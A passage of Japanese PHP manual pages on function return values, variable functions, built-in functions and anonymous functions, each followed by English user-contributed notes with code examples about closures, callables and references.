Declare strict types using "declare(strict_types=1);" and an error will be generated, saving much head-scratching.
zored dot box at gmail dot com 26-Feb-2018 03:54
You may specify child return type if there is no parent:

<?php

class A {
    public function f ($a)
    {
        return 1;
    }
}

class B extends A {
    public function f ($a): int // + return type, OK
    {
        return 1;
    }
}

class C extends A {
    public function f (int $a) // + argument type, WARNING
    {
        return 1;
    }
}
?>
ryan dot jentzsch at gmail dot com 02-Jan-2017 06:40
PHP 7.1 allows for void and null return types by preceding the type declaration with a ? -- (e.g. function canReturnNullorString(): ?string)

However resource is not allowed as a return type:

<?php
function fileOpen(string $fileName, string $mode): resource
{
    $handle = fopen($fileName, $mode);
    if ($handle !== false)
    {
        return $handle;
    }
}

$resourceHandle = fileOpen("myfile.txt", "r");
?>

Errors with:
Fatal error: Uncaught TypeError: Return value of fileOpen() must be an instance of resource, resource returned.
k-gun !! mail 19-Dec-2016 10:50
With 7.1, these are possible yet;

<?php
function ret_void(): void {
    // do something but no return any value
    // if needs to break fn exec for any reason simply write return;
    if (...) {
        return; // break
        // return null; // even this NO!
    }

    $db->doSomething();
    // no need return call anymore
}

function ret_nullable() ?int {
    if (...) {
        return 123;
    } else {
        return null; // MUST!
    }
}
?>
Vidmantas Maskoliunas 17-Apr-2016 10:58
Note: the function does not have "alternative syntax" as if/endif, while/endwhile, and colon (:) here is used to define returning type and not to mark where the block statement begins.
ryan dot jentzsch at gmail dot com 30-Aug-2015 06:12
PHP 7 return types if specified can not return a null.
For example:
<?php
declare(strict_types=1);

function add2ints(int $x, int $y):int
{
    $z = $x + $y;
    if ($z===0)
    {
        return null;
    }
    return $z;
}
$a = add2ints(3, 4);
echo is_null($a) ? 'Null' : $a;
$b = add2ints(-2, 2);
echo is_null($b) ? 'Null' : $b;
exit();

Output:
7
Process finished with exit code 139
rstaveley at seseit dot com 29-Aug-2010 01:26
Developers with a C background may expect pass by reference semantics for arrays. It may be surprising that  pass by value is used for arrays just like scalars. Objects are implicitly passed by reference.

<?php

# (1) Objects are always passed by reference and returned by reference

class Obj {
    public $x;
}

function obj_inc_x($obj) {
    $obj->x++;
    return $obj;
}

$obj = new Obj();
$obj->x = 1;

$obj2 = obj_inc_x($obj);
obj_inc_x($obj2);

print $obj->x . ', ' . $obj2->x . "\n";

# (2) Scalars are not passed by reference or returned as such

function scalar_inc_x($x) {
    $x++;
    return $x;
}

$x = 1;

$x2 = scalar_inc_x($x);
scalar_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (3) You have to force pass by reference and return by reference on scalars

function &scalar_ref_inc_x(&$x) {
    $x++;
    return $x;
}

$x = 1;

$x2 =& scalar_ref_inc_x($x);    # Need reference here as well as the function sig
scalar_ref_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (4) Arrays use pass by value sematics just like scalars

function array_inc_x($array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 = array_inc_x($array);
array_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";

# (5) You have to force pass by reference and return by reference on arrays

function &array_ref_inc_x(&$array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 =& array_ref_inc_x($array); # Need reference here as well as the function sig
array_ref_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";
bgalloway at citycarshare dot org 27-Mar-2008 06:27
Be careful about using "do this thing or die()" logic in your return lines.  It doesn't work as you'd expect:

<?php
function myfunc1() {
    return('thingy' or die('otherthingy'));
}
function myfunc2() {
    return 'thingy' or die('otherthingy');
}
function myfunc3() {
    return('thingy') or die('otherthingy');
}
function myfunc4() {
    return 'thingy' or 'otherthingy';
}
function myfunc5() {
    $x = 'thingy' or 'otherthingy'; return $x;
}
echo myfunc1(). "\n". myfunc2(). "\n". myfunc3(). "\n". myfunc4(). "\n". myfunc5(). "\n";
?>

Only myfunc5() returns 'thingy' - the rest return 1.
nick at itomic.com 04-Aug-2003 12:56
Functions which return references, may return a NULL value. This is inconsistent with the fact that function parameters passed by reference can't be passed as NULL (or in fact anything which isnt a variable).

i.e.

<?php

function &testRet()
{
    return NULL;
}

if (testRet() === NULL)
{
    echo "NULL";
}
?>

parses fine and echoes NULL


可変関数

PHP は可変関数(variable functions)の概念をサポートします。 これにより、変数名の後に括弧が付いている場合、その値が何であろうと PHPは、同名の関数を探し実行を試みます。 この機能は、コールバック、関数テーブル等を実装するために使用可能です。

可変関数は、echo, print, isset(), empty(), include, require のような言語構造と組み合わせて使用する ことはできません。これらの言語構造を可変変数として使うには 独自のラッパー関数を使う必要があります。

例1 可変関数の例

<?php
function foo()
{
    echo "In foo()<br />\n";
}

function bar($arg = '')
{
    echo "In bar(); argument was '$arg'.<br />\n";
}

// これは、echo のラッパー関数です。
function echoit($string)
{
    echo $string;
}

$func = 'foo';
$func();        // This calls foo()

$func = 'bar';
$func('test');  // This calls bar()

$func = 'echoit';
$func('test');  // This calls echoit()
?>

オブジェクトのメソッドを可変関数を使ってコールすることもできます。

例2 可変メソッドの例

<?php
class Foo
{
    function Variable()
    {
        $name = 'Bar';
        $this->$name(); // Bar() メソッドのコール
    }

    function Bar()
    {
        echo "This is Bar";
    }
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname();  // $foo->Variable() をコールする

?>

静的メソッドをコールするときには、関数呼び出しのほうが静的プロパティ演算子よりも優先されます。

例3 静的プロパティを含む可変メソッドの例

<?php
class Foo
{
    static $variable = 'static property';
    static function Variable()
    {
        echo 'Method Variable called';
    }
}

echo Foo::$variable; // これは 'static property' を表示します。このスコープにおいて $variable が必要です。
$variable = "Variable";
Foo::$variable();  // これは $foo->Variable() をコールします。このスコープでの $variable の内容を読むからです。

?>

例4 複雑な callable

<?php
class Foo
{
    static function bar()
    {
        echo "bar\n";
    }
    function baz()
    {
        echo "baz\n";
    }
}

$func = array("Foo", "bar");
$func(); // "bar" を表示します
$func = array(new Foo, "baz");
$func(); // "baz" を表示します
$func = "Foo::bar";
$func(); // "bar" を表示します。
?>

参考

  • is_callable()
  • call_user_func()
  • function_exists()
  • 可変変数

User Contributed Notes

Anonymous 23-May-2020 05:26
If you are here looking for a function reference, this is NOT how to do it:

<?php
 function func1(){ echo "hell0 1";}
 $choice = func1; // no quotes
?>

It works, but $choice is not what you might think, a reference to a function. It is simply the name of the function as a string, written without (!) quotes.

It's  the same as
<?php
 $choice = "func1"; // with quotes
?>

You can do echo gettype($choice) to confirm.

So calling
<?php
 $choice()
?>
is a variable-function for both cases, calling it by its name, not by reference.

Go via an assigned anonymous function to get a reference to the function:
<?php
 $func1 = function(){ echo "hell0 1";}
 $func1 = function(){ echo "hell0 2";}
?>

Now you can pass around the function like a first class object
<?php
 $choice = $func1;
?>
or
<?php
 $choice = $func2;
?>
and call it
<?php
 $choice();
?>

If you want to pass around a class method, use the "Complex callables" from the manual, above. It's a call by name (not a reference), but since you can include the object you can still get the flexibility you want:

<?php
 class C {
      function k(){ echo "inside k";}
      function j(){ echo "inside j"; return  array($this,"k");}};
?>

You can use $this as the object in the first element of the array.
<?php
 $c = new C;
 $c->k();
 inside k

 $func = $c->j();
 inside j
?>
And now, le moment supreme:
<?php
 $func();
 inside k
?>
rnealxp at yahoo dot com 16-May-2020 01:17
<?php
/*
You might have found yourself at this php variable functions page because, like me, you wanted to pass functions
around like objects to client objects as you can in JavaScript. The issue I ran into was although
I could call a function using a variable like this " $v(); "...I could not do it like this " $obj->p() " where
'p' is a property containing the name of the method to call. Did not want to save my property off to a variable prior
to making my call: " $v = $obj->p; $v(); "; even if one finds a way, the below applies...

I credit this expanded work to this person: tatarynowicz at gmail dot com;
without them I would not have gotten here.
*/
interface iface_dynamic_members{
    //Use of this interface enables type-hinting for objects that implement it.
    public function __call($name, $args);
    public function __set($name, $value);
    public function quietly_fail():bool;
}
trait trait_has_dynamic_members{
    //Implementing these magic methods in the form of a trait, frees the client object up
    //so it can still inherit from a parent-class.
    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            //Your dynamic-membered object can declare itself as willing to ignore non-existent method calls or not.
            if($this->quietly_fail()===true){
                echo 'Method does not exist, but I do not mind.';
            }else{
                echo 'Method does not exist, I consider this a bug.';
            }
        }
    }
    public function __set($name, $value) {
        $this->$name = is_callable($value) ? $value->bindTo($this, $this): $value; //Assignment using ternary operator.
    }
}
abstract class MBR_ATTR{
    //A class full of attributes that objects can take on; abstract since not to be instantiated (If I could make it "final" as well, I would).
    public static function is_a_walker(iface_dynamic_members $obj, ?string $walker_type='normal pace'){
        $obj->walker_type = $walker_type;
        $obj->walker_walk = function() {
            return "I am walking {$this->walker_type}.";
        };
    }
    public static function is_a_runner(iface_dynamic_members $obj, string $runner_type){
        $obj->runner_type = $runner_type;
        $obj->runner_run = function() {
            return "I am running {$this->runner_type}.";
        };
        self::is_a_walker($obj); //If can run, also can walk.
    }
}
class cls_partly_dynamic implements iface_dynamic_members{
    use trait_has_dynamic_members;
    public function quietly_fail():bool{
        return true;
    }
}
// Report all errors except E_NOTICE
error_reporting(E_ALL & ~E_NOTICE); //Enable all error-reporting except notices.
//----
//config runner object...
$obj_runner = new cls_partly_dynamic();
MBR_ATTR::is_a_runner($obj_runner, 'fast');
$obj_runner->runner_type = 'a bit slow';
//----
//config walker object...
$obj_walker = new cls_partly_dynamic();
MBR_ATTR::is_a_walker($obj_walker, 'slow');
$obj_walker->walker_type = 'super fast';
//----
//Do stuff...
echo 'walker in action...' . '<br>';
echo $obj_walker->walker_walk() . '<br>';
echo '<br>';
echo 'runner in action...' . '<br>';
echo $obj_runner->walker_walk() . '<br>';
echo $obj_runner->runner_run() . '<br>';
echo $obj_runner->xxx() . '<br>'; //Try calling a non-existent method.
//I would agree that the above approach/technique is not always ideal, particulary due to the loss of code-completion in your
//IDE of choice; I would tend to use this approach for dynamic-programming in response to the user dictating processing steps via a UI.
?>
niemans at pbsolo dot nl 19-Mar-2019 11:28
While the documentation suggests that the use of a constant is similar to the use of a variable, there is an exception regarding variable functions. You cannot use a constant as the function name to call a variable function.

const DEBUGME ='func';
function func($s) { echo $s. "\n"; }

DEBUGME('abc');  // results in a syntax error

$call = DEBUGME;
$call('abc');          // does the job

But you can use a constant as an argument to a function. Here's a simple workaround when you need to call a variable constant function:

function dynamic($what, $with)
   {
     $what($with);
   }
dynamic(DEBUGME, 'abc');

This makes sense to me to hide API's and/or long (complicated) static calls.
Enjoy!
josh at joshstroup dot xyz 21-Apr-2016 05:58
A small, but helpful note. If you are trying to call a static function from a different namespace, you must use the fully qualified namespace, even if they have the same top level namespace(s). For example if you have the following class to call:

<?php
namespace Project\TestClass;
class Test {
    static function funcToCall() {
        return "test";
    }
}
?>
You must call it as:
<?php
namespace Project\OtherTestClass;
class OtherTest {
    static function callOtherFunc() {
        $func = '\Project\TestClass::funcToCall';
        $func();
    }
}
?>
and not:
<?php
class OtherTest {
    static function callOtherFunc() {
        $func = 'TestClass::funcToCall';
        $func();
    }
}
?>
Anonymous 27-Jun-2011 11:20
$ wget http://www.php.net/get/php_manual_en.tar.gz/from/a/mirror
$ grep -l "\$\.\.\." php-chunked-xhtml/function.*.html

List of functions that accept variable arguments.
<?php
array_diff_assoc()
array_diff_key()
array_diff_uassoc()
array()
array_intersect_ukey()
array_map()
array_merge()
array_merge_recursive()
array_multisort()
array_push()
array_replace()
array_replace_recursive()
array_unshift()
call_user_func()
call_user_method()
compact()
dba_open()
dba_popen()
echo()
forward_static_call()
fprintf()
fscanf()
httprequestpool_construct()
ibase_execute()
ibase_set_event_handler()
ibase_wait_event()
isset()
list()
maxdb_stmt_bind_param()
maxdb_stmt_bind_result()
mb_convert_variables()
newt_checkbox_tree_add_item()
newt_grid_h_close_stacked()
newt_grid_h_stacked()
newt_grid_v_close_stacked()
newt_grid_v_stacked()
newt_win_choice()
newt_win_entries()
newt_win_menu()
newt_win_message()
newt_win_ternary()
pack()
printf()
register_shutdown_function()
register_tick_function()
session_register()
setlocale()
sprintf()
sscanf()
unset()
var_dump()
w32api_deftype()
w32api_init_dtype()
w32api_invoke_function()
wddx_add_vars()
wddx_serialize_vars()
?>
boards at gmail dot com 22-Jan-2006 10:07
If you want to call a static function (PHP5) in a variable method:

Make an array of two entries where the 0th entry is the name of the class to be invoked ('self' and 'parent' work as well) and the 1st entry is the name of the function.  Basically, a 'callback' variable is either a string (the name of the function) or an array (0 => 'className', 1 => 'functionName').

Then, to call that function, you can use either call_user_func() or call_user_func_array().  Examples:

<?php
class A {

  protected $a;
  protected $c;

  function __construct() {
    $this->a = array('self', 'a');
    $this->c = array('self', 'c');
  }

  static function a($name, &$value) {
    echo $name,' => ',$value++,"\n";
  }

  function b($name, &$value) {
    call_user_func_array($this->a, array($name, &$value));
  }

  static function c($str) {
    echo $str,"\n";
  }

  function d() {
    call_user_func_array($this->c, func_get_args());
  }

  function e() {
    call_user_func($this->c, func_get_arg(0));
  }

}

class B extends A {

  function __construct() {
    $this->a = array('parent', 'a');
    $this->c = array('self', 'c');
  }

  static function c() {
    print_r(func_get_args());
  }

  function d() {
    call_user_func_array($this->c, func_get_args());
  }

  function e() {
    call_user_func($this->c, func_get_args());
  }

}

$a =& new A;
$b =& new B;
$i = 0;

A::a('index', $i);
$a->b('index', $i);

$a->c('string');
$a->d('string');
$a->e('string');

# etc.
?>


内部（ビルトイン）関数

PHPは標準で多くの関数と言語構造を持っています。また他にも コンパイル済みの特定のPHPエクステンションを必要とする関数があります。 それらはもしコンパイルされていなければ"undefined function（未定義の関数）" として致命的エラーを発するでしょう。例えば、 imagecreatetruecolor()のような 画像関数を使用するには、 GDサポートを有効にしてPHPをコンパイルしておく必要があります。 また、mysqli_connect()を使う場合もやはり MySQLサポートを有効にしてPHPが コンパイルされている必要があります。 stringや variable関数のように どのバージョンのPHPでも含まれているコアの関数もたくさんあります。 phpinfo()やget_loaded_extensions()を コールすることで使用しているPHPにロードされているエクステンションを 見ることができます。また、多くのエクステンションはデフォルトで有効に なっており、PHPのマニュアルはエクステンション毎に分けられていることにも 注意してください。PHPのセットアップについては 設定, インストール,そして個々のエクステンション の項をご覧ください。

関数のプロトタイプに関する解説はマニュアルの 関数の定義を読むにはを 参照してください。関数の戻り値や引数が直接与えられた場合に どのように動くかを認識することは重要です。 例えば、str_replace()は変更された文字列を 返すのに対し、usort()は与えられた引数そのものを 変更します。マニュアルの各項にはそれぞれの関数に関する情報があります。 関数の引数、振る舞いの変更、成功した場合失敗した場合の それぞれの戻り値、可用性に関する情報などです。 これらの重要な（時には微妙な）違いを知ることは、 正しいPHPコードを書くうえで極めて重要なことです。

注意: 関数へのパラメータとして関数が想定しているのとは異なるものを渡した場合、 例えば文字列を想定しているところに配列を渡した場合などの場合は 関数の返り値は未定義となります。たいていの場合は null を返すでしょう。しかしこれはあくまでも規約にすぎず、 これに依存することはできません。

参考

  • function_exists()
  • 関数リファレンス
  • get_extension_funcs()
  • dl()

User Contributed Notes

There are no user contributed notes for this page.


無名関数

無名関数はクロージャとも呼ばれ、 関数名を指定せずに関数を作成できるようにするものです。 callable パラメータとして使う際に便利ですが、用途はそれにとどまりません。

無名関数の実装には Closure クラスを使っています。

例1 無名関数の例

<?php
echo preg_replace_callback('~-([a-z])~', function ($match) {
    return strtoupper($match[1]);
}, 'hello-world');
// helloWorld と出力します
?>

クロージャは、変数の値として使用することもできます。 PHP は、そのような記述があると自動的に内部クラス Closure のインスタンスに変換します。 変数へのクロージャの代入は、他の代入と同じように記述し、 同じく最後にセミコロンをつけます。

例2 変数への無名関数の代入

<?php
$greet = function($name)
{
    printf("Hello %s\r\n", $name);
};

$greet('World');
$greet('PHP');
?>

クロージャは、変数を親のスコープから引き継ぐことができます。 引き継ぐ変数は、use で渡さなければなりません。 PHP 7.1 以降は、引き継ぐ値に superglobals や $this、およびパラメータと同じ名前の変数を含めてはいけません。

例3 親のスコープからの変数の引き継ぎ

<?php
$message = 'hello';

// "use" がない場合
$example = function () {
    var_dump($message);
};
$example();

// $message を引き継ぎます
$example = function () use ($message) {
    var_dump($message);
};
$example();

// 引き継がれた変数の値は、関数が定義された時点のものであり、
// 関数が呼ばれた時点のものではありません
$message = 'world';
$example();

// $message をリセットします
$message = 'hello';

// リファレンス渡しで引き継ぎます
$example = function () use (&$message) {
    var_dump($message);
};
$example();

// 親のスコープで変更された値が、
// 関数呼び出しの内部にも反映されます
$message = 'world';
$example();

// クロージャは、通常の引数も受け付けます
$example = function ($arg) use ($message) {
    var_dump($arg . ' ' . $message);
};
$example("hello");
?>

上の例の出力は、 たとえば以下のようになります。

Notice: Undefined variable: message in /example.php on line 6
NULL
string(5) "hello"
string(5) "hello"
string(5) "hello"
string(5) "world"
string(11) "hello world"

PHP 8.0.0 以降では、親のスコープを継承した変数の一覧の最後にカンマを付けられるようになりました。 このカンマは無視されます。

親のスコープからの変数の引き継ぎは、グローバル変数を使うのとは 異なります。グローバル変数は、 関数が実行されるかどうかにかかわらずグローバルスコープに存在します。 クロージャの親スコープは、クロージャが宣言されている関数です (関数の呼び出し元のスコープである必要はありません)。 次の例を参照ください。

例4 クロージャのスコープ

<?php
// 基本的なショッピングカートで、追加した商品の一覧や各商品の
// 数量を表示します。カート内の商品の合計金額を計算するメソッド
// では、クロージャをコールバックとして使用します。
class Cart
{
    const PRICE_BUTTER  = 1.00;
    const PRICE_MILK    = 3.00;
    const PRICE_EGGS    = 6.95;

    protected $products = array();

    public function add($product, $quantity)
    {
        $this->products[$product] = $quantity;
    }

    public function getQuantity($product)
    {
        return isset($this->products[$product]) ? $this->products[$product] :
               FALSE;
    }

    public function getTotal($tax)
    {
        $total = 0.00;

        $callback =
            function ($quantity, $product) use ($tax, &$total)
            {
                $pricePerItem = constant(__CLASS__ . "::PRICE_" .
                    strtoupper($product));
                $total += ($pricePerItem * $quantity) * ($tax + 1.0);
            };

        array_walk($this->products, $callback);
        return round($total, 2);
    }
}

$my_cart = new Cart;

// カートに商品を追加します
$my_cart->add('butter', 1);
$my_cart->add('milk', 3);
$my_cart->add('eggs', 6);

// 合計に消費税 5% を付加した金額を表示します
print $my_cart->getTotal(0.05) . "\n";
// 結果は 54.29 です
?>

例5 $this の自動バインド

<?php

class Test
{
    public function testing()
    {
        return function() {
            var_dump($this);
        };
    }
}

$object = new Test;
$function = $object->testing();
$function();

?>

上の例の出力は以下となります。

object(Test)#1 (0) {
}

クラスのコンテキストで宣言した場合は、現在のクラスが自動的にバインドされて、 関数のスコープで $this が使えるようになります。 現在のクラスへの自動バインドを望まない場合は、 静的無名関数 を使いましょう。

静的無名関数

静的な無名関数を宣言することができます。 こうすることで、現在のクラスが無名関数を自動的にバインドすることがなくなります。 オブジェクトも、実行時にはバインドされなくなります。

例6 静的無名関数内での $this の使用例

<?php

class Foo
{
    function __construct()
    {
        $func = static function() {
            var_dump($this);
        };
        $func();
    }
};
new Foo();

?>

上の例の出力は以下となります。

Notice: Undefined variable: this in %s on line %d
NULL

例7 静的無名関数へのオブジェクトのバインド

<?php

$func = static function() {
    // 関数の本体
};
$func = $func->bindTo(new StdClass);
$func();

?>

上の例の出力は以下となります。

Warning: Cannot bind an instance to a static closure in %s on line %d

変更履歴

バージョン | 説明
7.1.0 | 無名関数は、superglobals や、 $this, もしくは 引数と同じ名前の変数を use で引き継げなくなりました。

注意

注意: クロージャ内から func_num_args()、 func_get_arg() および func_get_args() を使用することができます。

User Contributed Notes

jake dot tunaley at berkeleyit dot com 07-Jan-2019 05:04
Beware of using $this in anonymous functions assigned to a static variable.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function () {
                return $this;
            };
        }
        return $anonymous();
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // Also true
?>

In a static anonymous function, $this will be the value of whatever object instance that method was called on first.

To get the behaviour you're probably expecting, you need to pass the $this context into the function.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function (self $thisObj) {
                return $thisObj;
            };
        }
        return $anonymous($this);
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // False
?>
dexen dot devries at gmail dot com 07-Jun-2018 09:54
Every instance of a lambda has own instance of static variables. This provides for great event handlers, accumulators, etc., etc.

Creating new lambda with function() { ... }; expression creates new instance of its static variables. Assigning a lambda to a variable does not create a new instance. A lambda is object of class Closure, and assigning lambdas to variables has the same semantics as assigning object instance to variables.

Example script: $a and $b have separate instances of static variables, thus produce different output. However $b and $c share their instance of static variables - because $c is refers to the same object of class Closure as $b - thus produce the same output.

#!/usr/bin/env php
<?php

function generate_lambda() : Closure
{
        # creates new instance of lambda
    return function($v = null) {
        static $stored;
        if ($v !== null)
            $stored = $v;
        return $stored;
    };
}

$a = generate_lambda();  # creates new instance of statics
$b = generate_lambda();  # creates new instance of statics
$c = $b;                                 # uses the same instance of statics as $b

$a('test AAA');
$b('test BBB');
$c('test CCC');  # this overwrites content held by $b, because it refers to the same object

var_dump([ $a(), $b(), $c() ]);
?>

This test script outputs:
array(3) {
  [0]=>
  string(8) "test AAA"
  [1]=>
  string(8) "test CCC"
  [2]=>
  string(8) "test CCC"
}
toonitw at gmail dot com 27-Dec-2017 05:40
As of PHP 7.0, you can use IIFE(Immediately-invoked function expression) by wrapping your anonymous function with ().

<?php
$type = 'number';
var_dump( ...( function() use ($type) {
    if ($type=='number') return [1,2,3];
    else if ($type=='alphabet') return ['a','b','c'];
} )() );
?>
ayon at hyurl dot com 29-Apr-2017 05:35
One way to call a anonymous function recursively is to use the USE keyword and pass a reference to the function itself:

<?php
$count = 1;
$add = function($count) use (&$add){
    $count += 1;
    if($count < 10) $count = $add($count); //recursive calling
    return $count;
};
echo $add($count); //Will output 10 as expected
?>
john at binkmail dot com 07-Feb-2017 07:36
PERFORMANCE BENCHMARK 2017!

I decided to compare a single, saved closure against constantly creating the same anonymous closure on every loop iteration. And I tried 10 million loop iterations, in PHP 7.0.14 from Dec 2016. Result:

a single saved closure kept in a variable and re-used (10000000 iterations): 1.3874590396881 seconds

new anonymous closure created each time (10000000 iterations): 2.8460240364075 seconds

In other words, over the course of 10 million iterations, creating the closure again during every iteration only added a total of "1.459 seconds" to the runtime. So that means that every creation of a new anonymous closure takes about 146 nanoseconds on my 7 years old dual-core laptop. I guess PHP keeps a cached "template" for the anonymous function and therefore doesn't need much time to create a new instance of the closure!

So you do NOT have to worry about constantly re-creating your anonymous closures over and over again in tight loops! At least not as of PHP 7! There is absolutely NO need to save an instance in a variable and re-use it. And not being restricted by that is a great thing, because it means you can feel free to use anonymous functions exactly where they matter, as opposed to defining them somewhere else in the code. :-)
erolmon dot kskn at gmail dot com 19-Jun-2015 09:48
<?php
    /*
    (string) $name Name of the function that you will add to class.
    Usage : $Foo->add(function(){},$name);
    This will add a public function in Foo Class.
    */
    class Foo
    {
        public function add($func,$name)
        {
            $this->{$name} = $func;
        }
        public function __call($func,$arguments){
            call_user_func_array($this->{$func}, $arguments);
        }
    }
    $Foo = new Foo();
    $Foo->add(function(){
        echo "Hello World";
    },"helloWorldFunction");
    $Foo->add(function($parameterone){
        echo $parameterone;
    },"exampleFunction");
    $Foo->helloWorldFunction(); /*Output : Hello World*/
    $Foo->exampleFunction("Hello PHP"); /*Output : Hello PHP*/
?>
mail at mkharitonov dot net 20-Feb-2014 11:20
Some comparisons of PHP and JavaScript closures.

=== Example 1 (passing by value) ===
PHP code:
<?php
$aaa = 111;
$func = function() use($aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "111"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = (function(aaa){ return function(){ alert(aaa); } })(aaa);
aaa = 222;
func(); // Outputs "111"
</script>

Be careful, following code is not similar to previous code:
<script type="text/javascript">
var aaa = 111;
var bbb = aaa;
var func = function(){ alert(bbb); };
aaa = 222;
func(); // Outputs "111", but only while "bbb" is not changed after function declaration

// And this technique is not working in loops:
var functions = [];
for (var i = 0; i < 2; i++)
{
    var i2 = i;
    functions.push(function(){ alert(i2); });
}
functions[0](); // Outputs "1", wrong!
functions[1](); // Outputs "1", ok
</script>

=== Example 2 (passing by reference) ===
PHP code:
<?php
$aaa = 111;
$func = function() use(&$aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "222"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = function(){ alert(aaa); };
aaa = 222; // Outputs "222"
func();
</script>
derkontrollfreak+9hy5l at gmail dot com 09-Jan-2014 04:41
Beware that since PHP 5.4 registering a Closure as an object property that has been instantiated in the same object scope will create a circular reference which prevents immediate object destruction:
<?php

class Test
{
    private $closure;

    public function __construct()
    {
        $this->closure = function () {
        };
    }

    public function __destruct()
    {
        echo "destructed\n";
    }
}

new Test;
echo "finished\n";

/*
 * Result in PHP 5.3:
 * ------------------
 * destructed
 * finished
 *
 * Result since PHP 5.4:
 * ---------------------
 * finished
 * destructed
 */

?>

To circumvent this, you can instantiate the Closure in a static method:
<?php

public function __construct()
{
    $this->closure = self::createClosure();
}

public static function createClosure()
{
    return function () {
    };
}

?>
cHao 13-Dec-2013 11:42
In case you were wondering (cause i was), anonymous functions can return references just like named functions can.  Simply use the & the same way you would for a named function...right after the `function` keyword (and right before the nonexistent name).

<?php
    $value = 0;
    $fn = function &() use (&$value) { return $value; };

    $x =& $fn();
    var_dump($x, $value);        // 'int(0)', 'int(0)'
    ++$x;
    var_dump($x, $value);        // 'int(1)', 'int(1)'
mike at borft dot student dot utwente dot nl 24-Jan-2012 02:46
Since it is possible to assign closures to class variables, it is a shame it is not possible to call them directly. ie. the following does not work:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }
}

$f = new foo();

$f->test();
?>

However, it is possible using the magic __call function:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }

  public function __call($method, $args){
    if ( $this->{$method} instanceof Closure ) {
      return call_user_func_array($this->{$method},$args);
    } else {
      return parent::__call($method, $args);
    }
  }
}
$f = new foo();
$f->test();
?>
it
Hope it helps someone ;)
simon at generalflows dot com 05-Aug-2011 08:23
<?php

/*
 * An example showing how to use closures to implement a Python-like decorator
 * pattern.
 *
 * My goal was that you should be able to decorate a function with any
 * other function, then call the decorated function directly:
 *
 * Define function:         $foo = function($a, $b, $c, ...) {...}
 * Define decorator:        $decorator = function($func) {...}
 * Decorate it:             $foo = $decorator($foo)
 * Call it:                 $foo($a, $b, $c, ...)
 *
 * This example show an authentication decorator for a service, using a simple
 * mock session and mock service.
 */

session_start();

/*
 * Define an example decorator. A decorator function should take the form:
 * $decorator = function($func) {
 *     return function() use $func) {
 *         // Do something, then call the decorated function when needed:
 *         $args = func_get_args($func);
 *         call_user_func_array($func, $args);
 *         // Do something else.
 *     };
 * };
 */
$authorise = function($func) {
    return function() use ($func) {
        if ($_SESSION['is_authorised'] == true) {
            $args = func_get_args($func);
            call_user_func_array($func, $args);
        }
        else {
            echo "Access Denied";
        }
    };
};

/*
 * Define a function to be decorated, in this example a mock service that
 * need to be authorised.
 */
$service = function($foo) {
    echo "Service returns: $foo";
};

/*
 * Decorate it. Ensure you replace the origin function reference with the
 * decorated function; ie just $authorise($service) won't work, so do
 * $service = $authorise($service)
 */
$service = $authorise($service);

/*
 * Establish mock authorisation, call the service; should get
 * 'Service returns: test 1'.
 */
$_SESSION['is_authorised'] = true;
$service('test 1');

/*
 * Remove mock authorisation, call the service; should get 'Access Denied'.
 */
$_SESSION['is_authorised'] = false;
$service('test 2');

?>
orls 08-Aug-2010 06:53
Watch out when 'importing' variables to a closure's scope  -- it's easy to miss / forget that they are actually being *copied* into the closure's scope, rather than just being made available.

So you will need to explicitly pass them in by reference if your closure cares about their contents over time:

<?php
$result = 0;

$one = function()
{ var_dump($result); };

$two = function() use ($result)
{ var_dump($result); };

$three = function() use (&$result)
{ var_dump($result); };

$result++;

$one();    // outputs NULL: $result is not in scope
$two();    // outputs int(0): $result was copied
$three();    // outputs int(1)
?>

Another less trivial example with objects (what I actually tripped up on):

<?php
//set up variable in advance
$myInstance = null;

$broken = function() uses ($myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
};

$working = function() uses (&$myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
}

//$myInstance might be instantiated, might not be
if(SomeBusinessLogic::worked() == true)
{
    $myInstance = new myClass();
}

$broken();    // will never do anything: $myInstance will ALWAYS be null inside this closure.
$working();    // will call doSomething if $myInstance is instantiated

?>
gabriel dot totoliciu at ddsec dot net 19-Jul-2010 10:56
If you want to make a recursive closure, you will need to write this:

$some_var1="1";
$some_var2="2";

function($param1, $param2) use ($some_var1, $some_var2)
{

//some code here

call_user_func(__FUNCTION__, $other_param1, $other_param2);

//some code here

}

If you need to pass values by reference you should check out

http://www.php.net/manual/en/function.call-user-func.php
http://www.php.net/manual/en/function.call-user-func-array.php

If you're wondering if $some_var1 and $some_var2 are still visible by using the call_user_func, yes, they are available.
kdelux at gmail dot com 14-May-2010 08:55
Here is an example of one way to define, then use the variable ( $this ) in Closure functions.  The code below explores all uses, and shows restrictions.

The most useful tool in this snippet is the requesting_class() function that will tell you which class is responsible for executing the current Closure().

Overview:
-----------------------
Successfully find calling object reference.
Successfully call $this(__invoke);
Successfully reference $$this->name;
Successfully call call_user_func(array($this, 'method'))

Failure: reference anything through $this->
Failure: $this->name = '';
Failure: $this->delfect();

<?php

    function requesting_class()
    {
        foreach(debug_backtrace(true) as $stack){
            if(isset($stack['object'])){
                return $stack['object'];
            }
        }

    }

    class Person
    {
        public $name = '';
        public $head = true;
        public $feet = true;
